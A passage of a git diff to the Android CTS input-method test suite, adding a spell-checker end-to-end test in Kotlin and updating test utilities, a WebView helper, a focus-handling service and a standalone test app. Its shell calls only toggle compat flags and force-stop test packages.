+    @Ignore("b/179983398")
     @AppModeInstant
     @Test
     public void testTargetPackageIsVisibleFromImeInstant() throws Exception {
@@ -161,23 +167,23 @@
             final ImeEventStream stream = imeSession.openEventStream();
 
             final String marker = getTestMarker();
-            launchTestActivity(instant, marker, TIMEOUT);
+            try (AutoCloseable closeable = launchTestActivity(instant, marker, TIMEOUT)) {
+                expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
 
-            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+                final ImeCommand command = imeSession.callGetApplicationInfo(
+                        TEST_ACTIVITY.getPackageName(), PackageManager.GET_META_DATA);
+                final ImeEvent event = expectCommand(stream, command, TIMEOUT);
 
-            final ImeCommand command = imeSession.callGetApplicationInfo(
-                    TEST_ACTIVITY.getPackageName(), PackageManager.GET_META_DATA);
-            final ImeEvent event = expectCommand(stream, command, TIMEOUT);
-
-            if (event.isNullReturnValue()) {
-                fail("getApplicationInfo() returned null.");
+                if (event.isNullReturnValue()) {
+                    fail("getApplicationInfo() returned null.");
+                }
+                if (event.isExceptionReturnValue()) {
+                    final Exception exception = event.getReturnExceptionValue();
+                    fail(exception.toString());
+                }
+                final ApplicationInfo applicationInfoFromIme = event.getReturnParcelableValue();
+                assertEquals(TEST_ACTIVITY.getPackageName(), applicationInfoFromIme.packageName);
             }
-            if (event.isExceptionReturnValue()) {
-                final Exception exception = event.getReturnExceptionValue();
-                fail(exception.toString());
-            }
-            final ApplicationInfo applicationInfoFromIme = event.getReturnParcelableValue();
-            assertEquals(TEST_ACTIVITY.getPackageName(), applicationInfoFromIme.packageName);
         }
     }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
new file mode 100644
index 0000000..b5ca08a
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
@@ -0,0 +1,283 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.inputmethod.cts
+
+import android.app.Instrumentation
+import android.content.Context
+import android.provider.Settings
+import android.text.style.SuggestionSpan
+import android.text.style.SuggestionSpan.FLAG_GRAMMAR_ERROR
+import android.text.style.SuggestionSpan.FLAG_MISSPELLED
+import android.view.ViewGroup.LayoutParams.MATCH_PARENT
+import android.view.ViewGroup.LayoutParams.WRAP_CONTENT
+import android.view.inputmethod.cts.util.EndToEndImeTestBase
+import android.view.inputmethod.cts.util.InputMethodVisibilityVerifier
+import android.view.inputmethod.cts.util.TestActivity
+import android.view.inputmethod.cts.util.TestUtils.runOnMainSync
+import android.view.inputmethod.cts.util.TestUtils.waitOnMainUntil
+import android.view.inputmethod.cts.util.UnlockScreenRule
+import android.view.textservice.SpellCheckerSubtype
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_DONT_SHOW_UI_FOR_SUGGESTIONS
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_IN_THE_DICTIONARY
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR
+import android.view.textservice.SuggestionsInfo.RESULT_ATTR_LOOKS_LIKE_TYPO
+import android.view.textservice.TextServicesManager
+import android.widget.EditText
+import android.widget.LinearLayout
+import androidx.annotation.UiThread
+import androidx.test.filters.MediumTest
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import androidx.test.uiautomator.By
+import androidx.test.uiautomator.UiDevice
+import androidx.test.uiautomator.Until
+import com.android.compatibility.common.util.CtsTouchUtils
+import com.android.compatibility.common.util.SettingsStateChangerRule
+import com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand
+import com.android.cts.mockime.MockImeSession
+import com.android.cts.mockspellchecker.MockSpellChecker
+import com.android.cts.mockspellchecker.MockSpellCheckerClient
+import com.android.cts.mockspellchecker.MockSpellCheckerProto
+import com.android.cts.mockspellchecker.MockSpellCheckerProto.MockSpellCheckerConfiguration
+import com.google.common.truth.Truth.assertThat
+import org.junit.Assume
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+import java.util.concurrent.TimeUnit
+
+private val TIMEOUT = TimeUnit.SECONDS.toMillis(5)
+
+@MediumTest
+@RunWith(AndroidJUnit4::class)
+class SpellCheckerTest : EndToEndImeTestBase() {
+
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context: Context = instrumentation.getTargetContext()
+    private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
+
+    @Rule
+    fun unlockScreenRule() = UnlockScreenRule()
+
+    @Rule
+    fun spellCheckerSettingsRule() = SettingsStateChangerRule(
+            context, Settings.Secure.SELECTED_SPELL_CHECKER, MockSpellChecker.getId())
+
+    @Rule
+    fun spellCheckerSubtypeSettingsRule() = SettingsStateChangerRule(
+            context, Settings.Secure.SELECTED_SPELL_CHECKER_SUBTYPE,
+            SpellCheckerSubtype.SUBTYPE_ID_NONE.toString())
+
+    @Before
+    fun setUp() {
+        val tsm = context.getSystemService(TextServicesManager::class.java)!!
+        // Skip if spell checker is not enabled by default.
+        Assume.assumeNotNull(tsm)
+        Assume.assumeTrue(tsm.isSpellCheckerEnabled)
+    }
+
+    @Test
+    fun misspelled_easyCorrect() {
+        val uniqueSuggestion = "s618397" // "s" + a random number
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions(uniqueSuggestion)
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use {
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+                }, TIMEOUT)
+                // Tap inside 'match'.
+                emulateTapAtOffset(editText, 2)
+                // Wait until the cursor moves inside 'match'.
+                waitOnMainUntil({ isCursorInside(editText, 1, 4) }, TIMEOUT)
+                // Wait for the suggestion to come up, and click it.
+                uiDevice.wait(Until.findObject(By.text(uniqueSuggestion)), TIMEOUT).also {
+                    assertThat(it).isNotNull()
+                }.click()
+                // Verify that the text ('match') is replaced with the suggestion.
+                waitOnMainUntil({ "$uniqueSuggestion " == editText.text.toString() }, TIMEOUT)
+                // The SuggestionSpan should be removed.
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) == null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
+    fun misspelled_noEasyCorrect() {
+        val uniqueSuggestion = "s974355" // "s" + a random number
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions(uniqueSuggestion)
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO
+                                        or RESULT_ATTR_DONT_SHOW_UI_FOR_SUGGESTIONS)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use {
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+                }, TIMEOUT)
+                // Tap inside 'match'.
+                emulateTapAtOffset(editText, 2)
+                // Wait until the cursor moves inside 'match'.
+                waitOnMainUntil({ isCursorInside(editText, 1, 4) }, TIMEOUT)
+                // Verify that the suggestion is not shown.
+                assertThat(uiDevice.wait(Until.gone(By.text(uniqueSuggestion)), TIMEOUT)).isTrue()
+            }
+        }
+    }
+
+    @Test
+    fun grammarError() {
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions("suggestion")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_GRAMMAR_ERROR)
+        ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use {
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_GRAMMAR_ERROR) != null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
+    fun performSpellCheck() {
+        val configuration = MockSpellCheckerConfiguration.newBuilder()
+                .addSuggestionRules(
+                        MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                .setMatch("match")
+                                .addSuggestions("suggestion")
+                                .setAttributes(RESULT_ATTR_LOOKS_LIKE_TYPO)
+                ).build()
+        MockImeSession.create(context).use { session ->
+            MockSpellCheckerClient.create(context, configuration).use { client ->
+                val stream = session.openEventStream()
+                val (_, editText) = startTestActivity()
+                CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, editText)
+                waitOnMainUntil({ editText.hasFocus() }, TIMEOUT)
+                InputMethodVisibilityVerifier.expectImeVisible(TIMEOUT)
+                session.callCommitText("match", 1)
+                session.callCommitText(" ", 1)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) != null
+                }, TIMEOUT)
+                // The word is now in dictionary. The next spell check should remove the misspelled
+                // SuggestionSpan.
+                client.updateConfiguration(MockSpellCheckerConfiguration.newBuilder()
+                        .addSuggestionRules(
+                                MockSpellCheckerProto.SuggestionRule.newBuilder()
+                                        .setMatch("match")
+                                        .setAttributes(RESULT_ATTR_IN_THE_DICTIONARY)
+                        ).build())
+                val command = session.callPerformSpellCheck()
+                expectCommand(stream, command, TIMEOUT)
+                waitOnMainUntil({
+                    findSuggestionSpanWithFlags(editText, FLAG_MISSPELLED) == null
+                }, TIMEOUT)
+            }
+        }
+    }
+
+    @Test
+    fun textServicesManagerApi() {
+        val tsm = context.getSystemService(TextServicesManager::class.java)!!
+        assertThat(tsm).isNotNull()
+        assertThat(tsm!!.isSpellCheckerEnabled()).isTrue()
+        val spellCheckerInfo = tsm.getCurrentSpellChecker()
+        assertThat(spellCheckerInfo).isNotNull()
+        assertThat(spellCheckerInfo!!.getPackageName()).isEqualTo(
+            "com.android.cts.mockspellchecker")
+        assertThat(spellCheckerInfo!!.getSubtypeCount()).isEqualTo(1)
+        val spellCheckerSubtypeAllowImplicitlySelected = tsm.getCurrentSpellCheckerSubtype(true)
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected).isNotNull()
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLanguageTag()).isEqualTo("en-US")
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLocale()).isEqualTo("en")
+        assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getExtraValue()).isEmpty()
+        val spellCheckerSubtypeNotAllowImplicitlySelected =
+            tsm.getCurrentSpellCheckerSubtype(false)
+        assertThat(spellCheckerSubtypeNotAllowImplicitlySelected).isNull()
+        assertThat(tsm.getEnabledSpellCheckersList()!!.size).isAtLeast(1)
+        assertThat(tsm.getEnabledSpellCheckersList()!!.map { it.getPackageName() })
+                        .contains("com.android.cts.mockspellchecker")
+    }
+
+    private fun findSuggestionSpanWithFlags(editText: EditText, flags: Int): SuggestionSpan? =
+            getSuggestionSpans(editText).find { (it.flags and flags) == flags }
+
+    private fun getSuggestionSpans(editText: EditText): Array<SuggestionSpan> {
+        val editable = editText.text
+        val spans = editable.getSpans(0, editable.length, SuggestionSpan::class.java)
+        return spans
+    }
+
+    private fun emulateTapAtOffset(editText: EditText, offset: Int) {
+        var x = 0
+        var y = 0
+        runOnMainSync {
+            x = editText.layout.getPrimaryHorizontal(offset).toInt()
+            val line = editText.layout.getLineForOffset(offset)
+            y = (editText.layout.getLineTop(line) + editText.layout.getLineBottom(line)) / 2
+        }
+        CtsTouchUtils.emulateTapOnView(instrumentation, null, editText, x, y)
+    }
+
+    @UiThread
+    private fun isCursorInside(editText: EditText, start: Int, end: Int): Boolean =
+            start <= editText.selectionStart && editText.selectionEnd <= end
+
+    private fun startTestActivity(): Pair<TestActivity, EditText> {
+        var editText: EditText? = null
+        val activity = TestActivity.startSync { activity: TestActivity? ->
+            val layout = LinearLayout(activity)
+            editText = EditText(activity)
+            layout.addView(editText, LinearLayout.LayoutParams(MATCH_PARENT, WRAP_CONTENT))
+            layout
+        }
+        return Pair(activity, editText!!)
+    }
+}
\ No newline at end of file
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/RequireImeCompatFlagRule.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/RequireImeCompatFlagRule.java
new file mode 100644
index 0000000..223b33b
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/RequireImeCompatFlagRule.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts.util;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import com.android.cts.mockime.MockIme;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * {@link TestRule} class that enable or disable the given app compat change config for
+ * {@link MockIme} to verify the behavior of the given compat change, and will reset the compat
+ * config after the test finished.
+ */
+public class RequireImeCompatFlagRule implements TestRule {
+    private final long mCompatFlag;
+    private final boolean mEnabled;
+
+    public RequireImeCompatFlagRule(long compatFlag, boolean enabled) {
+        mCompatFlag = compatFlag;
+        mEnabled = enabled;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                try {
+                    runWithShellPermissionIdentity(() -> {
+                        runShellCommand("am compat " + (mEnabled ? "enable " : "disable ")
+                                + mCompatFlag + " "
+                                + "com.android.cts.mockime");
+                    });
+                    base.evaluate();
+                } finally {
+                    runWithShellPermissionIdentity(() -> {
+                        runShellCommand("am compat reset " + mCompatFlag + " "
+                                + "com.android.cts.mockime");
+                    });
+                }
+            }
+        };
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
index 04ac957..0b44a24 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -137,6 +137,19 @@
                 .getInstrumentation().startActivitySync(intent);
     }
 
+    public static TestActivity startNewTaskSync(
+            @NonNull Function<TestActivity, View> activityInitializer) {
+        sInitializer.set(activityInitializer);
+        final Intent intent = new Intent()
+                .setAction(Intent.ACTION_MAIN)
+                .setClass(InstrumentationRegistry.getInstrumentation().getContext(),
+                        TestActivity.class)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+        return (TestActivity) InstrumentationRegistry
+                .getInstrumentation().startActivitySync(intent);
+    }
+
     /**
      * Updates {@link WindowManager.LayoutParams#softInputMode}.
      *
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
index 2f7c1f5..cc61682 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
@@ -17,15 +17,22 @@
 package android.view.inputmethod.cts.util;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertFalse;
 
 import android.app.Instrumentation;
+import android.app.KeyguardManager;
 import android.content.Context;
 import android.os.PowerManager;
+import android.view.KeyEvent;
 
 import androidx.annotation.NonNull;
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CommonTestUtils;
+import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -141,13 +148,37 @@
     }
 
     /**
-     * Call a command to unlock screen.
+     * Simulates a {@link KeyEvent#KEYCODE_MENU} event to unlock screen.
      *
-     * Note that this method is originated from
-     * {@link android.server.wm.UiDeviceUtils#pressUnlockButton()}, which is only valid for
-     * unlocking insecure keyguard for test automation.
+     * This method will retry until {@link KeyguardManager#isKeyguardLocked()} return {@code false}
+     * in given timeout.
+     *
+     * Note that {@link KeyguardManager} is not accessible in instant mode due to security concern,
+     * so this method always throw exception with instant app.
      */
     public static void unlockScreen() throws Exception {
-        runShellCommand("input keyevent KEYCODE_MENU");
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final Context context = instrumentation.getContext();
+        final KeyguardManager kgm = context.getSystemService(KeyguardManager.class);
+
+        assertFalse("This method is currently not supported in instant apps.",
+                context.getPackageManager().isInstantApp());
+        CommonTestUtils.waitUntil("Device does not unlock after 3 seconds", 3,
+                () -> {
+                    SystemUtil.runWithShellPermissionIdentity(
+                            () -> instrumentation.sendKeyDownUpSync((KeyEvent.KEYCODE_MENU)));
+                    return kgm != null && !kgm.isKeyguardLocked();
+                });
+    }
+
+    /**
+     * Call a command to force stop the given application package.
+     *
+     * @param pkg The name of the package to be stopped.
+     */
+    public static void forceStopPackage(@NonNull String pkg) {
+        runWithShellPermissionIdentity(() -> {
+            runShellCommandOrThrow("am force-stop " + pkg);
+        });
     }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestWebView.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestWebView.java
index a2fa830..3ec6f91 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestWebView.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestWebView.java
@@ -23,6 +23,8 @@
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputConnection;
 import android.webkit.WebView;
 import android.webkit.WebViewClient;
 import android.widget.EditText;
@@ -45,10 +47,23 @@
         private static final String MY_HTML =
                 "<html><body>Editor: <input type='text' name='testInput'></body></html>";
         private UiDevice mUiDevice;
+        private final String mMaker;
 
-        Impl(Context context, UiDevice uiDevice) {
+        Impl(Context context, UiDevice uiDevice, String maker) {
             super(context);
             mUiDevice = uiDevice;
+            mMaker = maker;
+        }
+
+        @Override
+        public InputConnection onCreateInputConnection(EditorInfo outAttrs) {
+            final InputConnection original = super.onCreateInputConnection(outAttrs);
+            final int inputType = outAttrs.inputType;
+            if ((inputType & EditorInfo.TYPE_MASK_CLASS) == EditorInfo.TYPE_CLASS_TEXT
+                    && (inputType & EditorInfo.TYPE_TEXT_VARIATION_WEB_EDIT_TEXT) != 0) {
+                outAttrs.privateImeOptions = mMaker;
+            }
+            return original;
         }
 
         private void loadEditorPage() {
@@ -86,7 +101,7 @@
     private TestWebView() {
     }
 
-    public static UiObject2 launchTestWebViewActivity(long timeoutMs)
+    public static UiObject2 launchTestWebViewActivity(long timeoutMs, String maker)
             throws Exception {
         final AtomicReference<UiObject2> inputTextFieldRef = new AtomicReference<>();
         final AtomicReference<TestWebView.Impl> webViewRef = new AtomicReference<>();
@@ -97,7 +112,7 @@
         TestActivity.startSync(activity -> {
             final LinearLayout layout = new LinearLayout(activity);
             final TestWebView.Impl webView = new Impl(activity, UiDevice.getInstance(
-                    InstrumentationRegistry.getInstrumentation()));
+                    InstrumentationRegistry.getInstrumentation()), maker);
             webView.setWebViewClient(new WebViewClient() {
                 @Override
                 public void onPageFinished(WebView view, String url) {
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
index d21b1c1..b6ee390 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/WindowFocusHandleService.java
@@ -48,6 +48,8 @@
 import androidx.annotation.Nullable;
 import androidx.annotation.UiThread;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
@@ -56,10 +58,12 @@
  */
 public class WindowFocusHandleService extends Service {
     private @Nullable static WindowFocusHandleService sInstance = null;
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
     private static final String TAG = WindowFocusHandleService.class.getSimpleName();
 
     private EditText mPopupTextView;
     private Handler mThreadHandler;
+    private CountDownLatch mUiThreadSignal;
 
     @Override
     public void onCreate() {
@@ -99,6 +103,18 @@
                             + ", hasWindowfocus: " + hasWindowFocus);
                 }
             }
+
+            @Override
+            public boolean onCheckIsTextEditor() {
+                super.onCheckIsTextEditor();
+                if (getHandler() != null && mUiThreadSignal != null) {
+                    if (Thread.currentThread().getId()
+                            == getHandler().getLooper().getThread().getId()) {
+                        mUiThreadSignal.countDown();
+                    }
+                }
+                return true;
+            }
         };
         editText.setOnFocusChangeListener((v, hasFocus) -> {
             if (v == editText) {
@@ -147,8 +163,12 @@
     }
 
     @AnyThread
-    public EditText getPopupTextView(@Nullable AtomicBoolean outPopupTextHasWindowFocusRef) {
+    public EditText getPopupTextView(
+            @Nullable AtomicBoolean outPopupTextHasWindowFocusRef) throws Exception {
         if (outPopupTextHasWindowFocusRef != null) {
+            TestUtils.waitOnMainUntil(() -> mPopupTextView != null,
+                    TIMEOUT, "PopupTextView should be created");
+
             mPopupTextView.post(() -> {
                 final ViewTreeObserver observerForPopupTextView =
                         mPopupTextView.getViewTreeObserver();
@@ -159,6 +179,17 @@
         return mPopupTextView;
     }
 
+    /**
+     * Tests can set a {@link CountDownLatch} to wait until associated action performed on
+     * UI thread.
+     *
+     * @param uiThreadSignal the {@link CountDownLatch} used to countdown.
+     */
+    @AnyThread
+    public void setUiThreadSignal(CountDownLatch uiThreadSignal) {
+        mUiThreadSignal = uiThreadSignal;
+    }
+
     @MainThread
     public void handleReset() {
         if (mPopupTextView != null) {
diff --git a/tests/inputmethod/testapp/Android.bp b/tests/inputmethod/testapp/Android.bp
index 143d0c5..19fb953 100644
--- a/tests/inputmethod/testapp/Android.bp
+++ b/tests/inputmethod/testapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInputMethodStandaloneTestApp",
     defaults: ["cts_defaults"],
@@ -29,6 +25,7 @@
     compile_multilib: "both",
     static_libs: [
         "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/inputmethod/testapp/AndroidManifest.xml b/tests/inputmethod/testapp/AndroidManifest.xml
index 0f47420..226f27d 100644
--- a/tests/inputmethod/testapp/AndroidManifest.xml
+++ b/tests/inputmethod/testapp/AndroidManifest.xml
@@ -26,7 +26,8 @@
         <activity
             android:name=".MainActivity"
             android:exported="true"
-            android:label="CtsInputMethodStandaloneTestActivity">
+            android:label="CtsInputMethodStandaloneTestActivity"
+            android:windowSoftInputMode="stateAlwaysHidden">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
             </intent-filter>
diff --git a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
index 58d5c42..2b35554 100644
--- a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
+++ b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
@@ -15,16 +15,28 @@
  */
 package android.view.inputmethod.ctstestapp;
 
-import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+import static android.view.WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
 
 import android.app.Activity;
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.net.Uri;
 import android.os.Bundle;
-import android.widget.EditText;
+import android.os.Handler;
+import android.os.Looper;
+import android.view.Gravity;
 import android.widget.LinearLayout;
+import android.widget.TextView;
 
 import androidx.annotation.Nullable;
 
+import com.android.compatibility.common.util.ImeAwareEditText;
+
 /**
  * A test {@link Activity} that automatically shows the input method.
  */
@@ -32,17 +44,38 @@
 
     private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
             "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
+    private static final String EXTRA_KEY_SHOW_DIALOG =
+            "android.view.inputmethod.ctstestapp.EXTRA_KEY_SHOW_DIALOG";
+
+    private static final String EXTRA_DISMISS_DIALOG = "extra_dismiss_dialog";
+
+    private static final String ACTION_TRIGGER = "broadcast_action_trigger";
+    private AlertDialog mDialog;
+    private final Handler mHandler = new Handler(Looper.myLooper());
+
+    private BroadcastReceiver mBroadcastReceiver;
 
     @Nullable
-    private String getPrivateImeOptions() {
+    private String getStringIntentExtra(String key) {
         if (getPackageManager().isInstantApp()) {
             final Uri uri = getIntent().getData();
             if (uri == null || !uri.isHierarchical()) {
                 return null;
             }
-            return uri.getQueryParameter(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+            return uri.getQueryParameter(key);
         }
-        return getIntent().getStringExtra(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+        return getIntent().getStringExtra(key);
+    }
+
+    private boolean getBooleanIntentExtra(String key) {
+        if (getPackageManager().isInstantApp()) {
+            final Uri uri = getIntent().getData();
+            if (uri == null || !uri.isHierarchical()) {
+                return false;
+            }
+            return uri.getBooleanQueryParameter(key, false);
+        }
+        return getIntent().getBooleanExtra(key, false);
     }
 
     @Override
@@ -51,15 +84,62 @@
 
         final LinearLayout layout = new LinearLayout(this);
         layout.setOrientation(LinearLayout.VERTICAL);
-        final EditText editText = new EditText(this);
-        editText.setHint("editText");
-        final String privateImeOptions = getPrivateImeOptions();
-        if (privateImeOptions != null) {
-            editText.setPrivateImeOptions(privateImeOptions);
+        final boolean needShowDialog = getBooleanIntentExtra(EXTRA_KEY_SHOW_DIALOG);
+
+        if (needShowDialog) {
+            layout.setOrientation(LinearLayout.VERTICAL);
+            layout.setGravity(Gravity.BOTTOM);
+            getWindow().setSoftInputMode(SOFT_INPUT_ADJUST_RESIZE);
+
+            final TextView textView = new TextView(this);
+            textView.setText("This is DialogActivity");
+            layout.addView(textView);
+
+            mDialog = new AlertDialog.Builder(this)
+                    .setView(new LinearLayout(this))
+                    .create();
+            mDialog.getWindow().addFlags(FLAG_ALT_FOCUSABLE_IM);
+            mDialog.getWindow().setSoftInputMode(SOFT_INPUT_ADJUST_PAN);
+            mDialog.show();
+        } else {
+            final ImeAwareEditText editText = new ImeAwareEditText(this);
+            editText.setHint("editText");
+            final String privateImeOptions = getStringIntentExtra(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+            if (privateImeOptions != null) {
+                editText.setPrivateImeOptions(privateImeOptions);
+            }
+            editText.requestFocus();
+            editText.scheduleShowSoftInput();
+            layout.addView(editText);
         }
-        editText.requestFocus();
-        layout.addView(editText);
-        getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+
         setContentView(layout);
     }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        mBroadcastReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                if (intent.getBooleanExtra(EXTRA_DISMISS_DIALOG, false)) {
+                    if (mDialog != null) {
+                        mDialog.dismiss();
+                        mDialog = null;
+                    }
+                    mHandler.postDelayed(() -> finish(), 100);
